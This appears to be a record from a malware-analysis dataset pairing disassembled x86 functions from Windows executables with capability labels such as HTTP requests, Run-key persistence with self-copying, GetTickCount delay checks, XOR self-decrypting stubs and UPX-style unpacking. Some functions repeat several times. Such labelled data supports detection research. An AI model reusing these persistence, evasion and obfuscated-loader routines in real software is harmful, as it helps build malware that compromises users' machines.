joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40c24d
Capabilities:
Connect to http server
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1210
call fcn.0040f120
push ebx
push esi
lea eax, [ebp - 0x210]
push edi
add edx, 0xe
push eax
call fcn.00407a99
lea eax, [ebp - 0x210]
push eax
call fcn.004079d9
xor ebx, ebx
push 0x424bb0
mov word [ebp + eax*2 - 0x212], bx
call fcn.004079d9
add esp, 0xc
mov dword [ebp - 8], eax
call fcn.0040d9f3
cmp dword [ebp - 8], ebx
mov esi, eax
mov dword [ebp - 0xc], esi
mov dword [ebp - 4], ebx
jbe 0x40c2e7
movsx ax, byte [esi]
sub ax, 2
movzx ecx, ax
mov eax, dword [ebp - 4]
push 3
xor edx, edx
pop edi
div edi
sub edx, ebx
je 0x40c2d3
dec edx
je 0x40c2cb
dec edx
jne 0x40c2d9
add ecx, 0xfffe
jmp 0x40c2d9
add ecx, 0xfffb
jmp 0x40c2d9
add ecx, 0xffff
mov byte [esi], cl
inc esi
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 8]
jb 0x40c2a4
push ebx
push ebx
push 3
push ebx
push ebx
push 0x50
lea eax, [ebp - 0x210]
push eax
push dword [0x4114d4]
call dword [sym.imp.WININET.dll_InternetConnectW]
cmp eax, ebx
jne 0x40c30a
xor eax, eax
jmp 0x40c37f
push ebx
push 0x4400100
push ebx
push ebx
push ebx
push 0x402410
push 0x402b00
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov esi, eax
cmp esi, ebx
je 0x40c306
push dword [ebp - 8]
push dword [ebp - 0xc]
push ebx
push ebx
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestW]
push dword [ebp - 0xc]
mov edi, eax
call fcn.0040d943
cmp edi, ebx
pop ecx
je 0x40c306
lea eax, [ebp - 0x10]
push eax
push 0x1000
lea eax, [ebp - 0x1210]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov esi, eax
cmp esi, ebx
je 0x40c37d
mov eax, dword [ebp - 0x10]
mov byte [ebp + eax - 0x1210], bl
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x1210]
call fcn.0040da3e
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40c384
Capabilities:
Check for time delay via gettickcount

Disassembly:
push 0x24
push 0x40f7d8
call fcn.0040edc8
and dword [ebp - 4], 0
call fcn.00407d0e
movzx ecx, cl
inc ecx
cdq
idiv ecx
mov esi, edx
movzx eax, byte [ebp + 8]
add esi, eax
imul esi, esi, 0x3e8
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
mov ebx, eax
call edi
sub eax, ebx
cmp eax, esi
jae 0x40c400
push 1
xor eax, eax
push eax
push eax
push eax
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x40c3e1
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x40c3c0
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40c3b8
or dword [ebp - 4], 0xffffffff
call fcn.0040ee03
ret
Function at 0x40c40a
Capabilities:
Check for time delay via gettickcount

Disassembly:
push 0x2c
push 0x40f7c8
call fcn.0040edc8
xor ebx, ebx
mov dword [ebp - 4], ebx
or dword [ebp - 0x1c], 0xffffffff
xor edi, edi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
mov dword [ebp - 0x20], eax
cmp edi, ebx
jl 0x40c489
cmp word [ebp - 0x1c], 0xffff
jne 0x40c489
call esi
sub eax, dword [ebp - 0x20]
cmp eax, 0x15f90
ja 0x40c4a4
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push ebx
push ebx
push ebx
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x40c46a
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x40c44b
movzx eax, byte [ebp + 8]
imul eax, eax, 0x14
mov eax, dword [eax + 0x428bb8]
mov ecx, dword [eax]
lea edx, [ebp - 0x1c]
push edx
push eax
call dword [ecx + 0x7c]
mov edi, eax
cmp edi, ebx
jl 0x40c4a4
jmp 0x40c42c
or dword [ebp - 4], 0xffffffff
xor eax, eax
inc eax
jmp 0x40c4aa
or dword [ebp - 4], 0xffffffff
xor eax, eax
call fcn.0040ee03
ret

Function at 0x40c5af
Capabilities:
Find taskbar

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
cmp dword [0x41105c], 0
push ebx
push esi
push edi
mov ebx, eax
jne 0x40c5cf
call fcn.0040c50e
test eax, eax
mov dword [ebp - 8], eax
jne 0x40c5e1
mov esi, ebx
call fcn.0040c4b0
test eax, eax
mov dword [ebp - 8], eax
je 0x40c696
push 0x402b40
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ecx, dword [ebx]
mov edx, dword [ecx]
sub esp, 0x10
mov edi, esp
mov word [ebp - 0x18], 3
mov dword [ebp - 0x10], 1
lea esi, [ebp - 0x18]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push eax
push ecx
movsd dword es:[edi], dword [esi]
call dword [edx + 0x88]
mov eax, dword [ebx]
mov ecx, dword [eax]
lea edx, [ebp - 4]
push edx
push eax
call dword [ecx + 0x94]
xor esi, esi
cmp dword [ebp - 4], esi
je 0x40c67d
push esi
push 0x402b54
call dword [sym.imp.USER32.dll_FindWindowW]
cmp eax, esi
je 0x40c641
push eax
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SetParent]
push 0xffffffffffffffec
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowLongW]
or eax, 0x80
push eax
push 0xffffffffffffffec
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SetWindowLongW]
push 0x10
push dword [0x414bd0]
mov eax, 0x1388
push dword [0x4200e4]
push eax
push eax
push 1
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SetWindowPos]
mov eax, dword [ebx]
mov ecx, dword [eax]
push 0xffffffffffffffff
push eax
call dword [ecx + 0xa4]
mov ebx, dword [ebx]
mov eax, dword [ebx]
push esi
push ebx
call dword [eax + 0xf0]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40c8c2
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 8], 0
test eax, eax
push ebx
push esi
push edi
jne 0x40c8e4
movzx eax, byte [ebp + 8]
imul eax, eax, 0x14
mov edi, dword [eax + 0x428bc0]
mov dword [ebp - 4], edi
jmp 0x40c8e9
mov dword [ebp - 4], eax
mov edi, eax
movzx esi, byte [ebp + 8]
imul esi, esi, 0x14
xor ebx, ebx
inc ebx
test dword [esi + 0x428bc4], edi
je 0x40c94c
cmp edi, ebx
jne 0x40c930
cmp dword [0x428c80], ebx
jne 0x40c950
mov eax, dword [esi + 0x428bb8]
test eax, eax
je 0x40c950
mov ecx, dword [eax]
lea edx, [ebp + 8]
push edx
push eax
call dword [ecx + 0xa0]
test eax, eax
jge 0x40c948
and dword [esi + 0x428bb8], 0
and dword [esi + 0x428bc4], 0xfffffffe
cmp edi, 2
jne 0x40c94c
xor eax, eax
cmp dword [esi + 0x428bbc], eax
jne 0x40c948
and dword [esi + 0x428bc4], 0xfffffffd
jmp 0x40c989
mov eax, ebx
jmp 0x40c9bd
cmp edi, ebx
jne 0x40c982
lea edi, [esi + 0x428bb8]
mov eax, edi
call fcn.0040c5af
cmp dword [0x428c80], ebx
mov dword [ebp - 8], eax
jne 0x40c97c
test eax, eax
je 0x40c97c
mov edi, dword [edi]
mov eax, dword [edi]
push edi
call dword [eax + 4]
or dword [esi + 0x428bc4], ebx
jmp 0x40c9ba
and dword [edi], 0
mov edi, dword [ebp - 4]
cmp edi, 2
jne 0x40c9ba
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
call dword [sym.imp.WININET.dll_InternetOpenW]
test eax, eax
mov dword [esi + 0x428bbc], eax
je 0x40c9ba
push 4
lea ecx, [ebp + 8]
push ecx
push 0x41
push eax
mov dword [ebp + 8], ebx
call dword [sym.imp.WININET.dll_InternetSetOptionW]
or dword [esi + 0x428bc4], 2
mov dword [ebp - 8], ebx
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40d07a
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push ebx
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [ebp - 4]
push eax
push 1
push 0
mov ebx, 0x402c40
push ebx
push 0x80000001
call edi
test eax, eax
jne 0x40d0bf
push dword [ebp + 8]
lea esi, [ebp - 4]
push 0x402e94
mov eax, 0x400
call fcn.0040908e
test eax, eax
pop ecx
pop ecx
jne 0x40d0f2
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 1
push 0
push ebx
push 0x80000002
call edi
test eax, eax
je 0x40d0db
xor eax, eax
jmp 0x40d0f2
push dword [ebp + 8]
lea esi, [ebp - 4]
push 0x402e94
mov eax, 0x400
call fcn.0040908e
pop ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40d77f
Capabilities:
Copy file
Persist via run registry key
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1800
call fcn.0040f120
call fcn.0040cf57
test eax, eax
je 0x40d79a
call fcn.0040d731
push ebx
push esi
push edi
call fcn.0040cfd6
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor ebx, ebx
test eax, eax
mov esi, 0x400
je 0x40d814
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push 4
push ebx
push 9
call fcn.0040cbdf
add esp, 0xc
push esi
lea eax, [ebp - 0x1800]
push eax
push ebx
call edi
lea eax, [ebp - 0x1000]
push eax
call fcn.0040d07a
test eax, eax
pop ecx
je 0x40d814
push ebx
lea eax, [ebp - 0x1000]
push eax
lea eax, [ebp - 0x1800]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x40d814
lea eax, [ebp - 0x1000]
push eax
call fcn.00409e6f
pop ecx
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.0040d033
test eax, eax
je 0x40d83a
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 1
call fcn.0040cbdf
add esp, 0xc
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
leave
ret 0x10
call fcn.00409dc9
cmp eax, ebx
push esi
je 0x40d85a
lea ecx, [ebp - 0x800]
push ecx
push dword [eax*4 + 0x41103c]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
jmp 0x40d874
lea eax, [ebp - 0x800]
push eax
push ebx
call edi
mov ecx, 0x402d20
lea eax, [ebp - 0x800]
call fcn.00407a75
push 1
lea eax, [ebp - 0x800]
push eax
push 0x402e94
push 0x402c40
push 0x80000001
call fcn.0040916a
add esp, 0x14
test eax, eax
je 0x40d8cc
lea eax, [ebp - 0x800]
push eax
call fcn.00409e6f
test eax, eax
pop ecx
push 4
je 0x40d8c1
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 3
call fcn.0040cbdf
add esp, 0xc
jmp 0x40d80d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0xb
jmp 0x40d8d7
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 6
call fcn.0040cbdf
add esp, 0xc
mov dword [0x411054], ebx
jmp 0x40d795

Function at 0x40e8d6
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x40e8e0
repz ret
jmp fcn.0040eb7b

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x1002c70
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x1002c7f
pop dword [ebp - 0x24]
mov eax, 0x1002c7f
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0xcbe0ce3d
sub dword [ebp - 0x34], 0x7d8e88f2
mov dword [ebp - 0x30], 0x2f3f21df
add dword [ebp - 0x30], 0x2f42a66
mov dword [ebp - 0x2c], 0xa8364037
sub dword [ebp - 0x2c], 0x5be9fc09
mov dword [ebp - 0x28], 0xa852a8ca
add dword [ebp - 0x28], 0x57ad5736
lea eax, [ebp - 0x34]
push eax
mov eax, 0x7bafb942
add eax, 0x855056f6
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0x89789ab8
sub dword [ebp - 0x34], 0x15063162
mov dword [ebp - 0x30], 0x8027227
add dword [ebp - 0x30], 0x3969ef4e
mov dword [ebp - 0x2c], 0x97afd0cf
add dword [ebp - 0x2c], 0xcbbf9b9d
mov dword [ebp - 0x28], 0xa3bfdd44
sub dword [ebp - 0x28], 0xa3bfdd44
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0xb9bd7392
sub eax, 0xb8bd631e
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x39f40
push 0
call eax
mov ecx, 0xc509d380
sub ecx, 0xc509809a
xor edi, edi
add edi, eax
mov edx, 0x338c428a
add edx, 0xcd745976
add edx, dword [ebp - 0x24]
mov esi, 0x2c3a8dbd
sub esi, 0x202def4d
xor dword [ebp - 0x18], 0x311b0ae8
mov ebx, dword [edx]
sub dword [ebp - 0x10], 0x5fc1ca04
sub ebx, esi
mov dword [edi], ebx
add edi, 0xc5acca29
sub edi, 0xc5acca25
add edx, 4
loop 0x1002d9e
add eax, 0x13e6b
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x1000000
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x40b050
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x8000]
push edi
or ebp, 0xffffffff
jmp 0x40b072
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x40b079
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x40b068
mov eax, 1
add ebx, ebx
jne 0x40b08b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x40b080
jne 0x40b09c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40b080
xor ecx, ecx
sub eax, 3
jb 0x40b0b0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x40b122
mov ebp, eax
add ebx, ebx
jne 0x40b0bb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x40b0c8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40b0ec
inc ecx
add ebx, ebx
jne 0x40b0d8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x40b0cd
jne 0x40b0e9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40b0cd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40b10c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40b0fd
jmp 0x40b06e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40b10c
add edi, ecx
jmp 0x40b06e
pop esi
mov edi, esi
mov ecx, 0x160
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40b12a
cmp byte [edi], 1
jne 0x40b12a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x40b12f
lea edi, [esi + 0x9000]
mov eax, dword [edi]
or eax, eax
je 0x40b1a7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xc400]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xc4a0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40b15c
mov ecx, edi
jns 0x40b18b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xc4a4]
or eax, eax
je 0x40b1a1
mov dword [ebx], eax
add ebx, 4
jmp 0x40b179
call dword [esi + 0xc4a8]
popal
jmp 0x40496f
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x430001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x408ecc
nop
nop
mov ecx, 0x4afa4a3a
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x430024
nop
nop
mov eax, str.__a
nop
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x5b7b0fd1
nop
nop
nop
test eax, eax
nop
nop
je 0x430084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x4228e0
Capabilities:
Get common file path
Set current directory

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.0042fec1

Function at 0x422900
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x144
push ebx
mov ebx, dword [ebp + 0x10]
mov ecx, ebx
and ecx, 1
mov eax, ebx
shl ecx, 4
mov edx, ecx
or edx, 6
and al, 2
push esi
lea eax, [ebp - 0x144]
cmove edx, ecx
push eax
push dword [ebp + 8]
mov dword [ebp - 4], edx
xor esi, esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp + 0x10], eax
cmp eax, 0xffffffff
jne 0x422947
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push edi
mov edi, dword [ebp + 0xc]
and ebx, 4
nop
mov ecx, dword [ebp - 4]
xor eax, eax
and ecx, dword [ebp - 0x144]
cmp eax, ecx
sbb eax, eax
neg eax
test ebx, ebx
jne 0x42296c
xor eax, eax
cmp eax, ecx
sbb eax, eax
inc eax
test eax, eax
je 0x4229b8
mov al, byte [ebp - 0x118]
xor ecx, ecx
test al, al
setne cl
cmp al, 0x2e
jne 0x422998
mov al, byte [ebp - 0x117]
test al, al
je 0x4229b8
cmp al, 0x2e
jne 0x422998
cmp byte [ebp - 0x116], 0
je 0x4229b8
test ecx, ecx
je 0x4229b8
lea eax, [ebp - 0x118]
inc esi
push eax
push edi
call fcn.0040c2d0
push 0x445570
push edi
call fcn.0040c2d0
add esp, 0x10
lea eax, [ebp - 0x144]
push eax
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x422950
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
jne 0x422950
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x422ce0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0x14]
mov ecx, 0x44542c
test esi, esi
mov eax, 0x446090
push edi
cmovs eax, ecx
push eax
push dword [ebp + 8]
call fcn.00426c43
mov edi, eax
add esp, 8
test edi, edi
jne 0x422d10
pop edi
or eax, 0xffffffff
pop esi
pop ebp
ret
test esi, esi
js 0x422d20
push 0
push esi
push edi
call fcn.00427211
add esp, 0xc
push edi
push dword [ebp + 0x10]
push 1
push dword [ebp + 0xc]
call fcn.004279c6
push edi
mov esi, eax
call fcn.004269c4
add esp, 0x14
mov eax, esi
pop edi
pop esi
pop ebp
ret

Function at 0x432db5
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00432c34

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x433030
nop
nop
nop
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..pdata
nop
mov ebx, 0x408f6c
mov ecx, 0x4b682d5a
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x430024
nop
nop
nop
nop
mov eax, section..pdata_1
mov ebx, 0x42e3d0
nop
mov ecx, 0xaac58cb
nop
nop
nop
nop
nop
test eax, eax
je 0x430084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219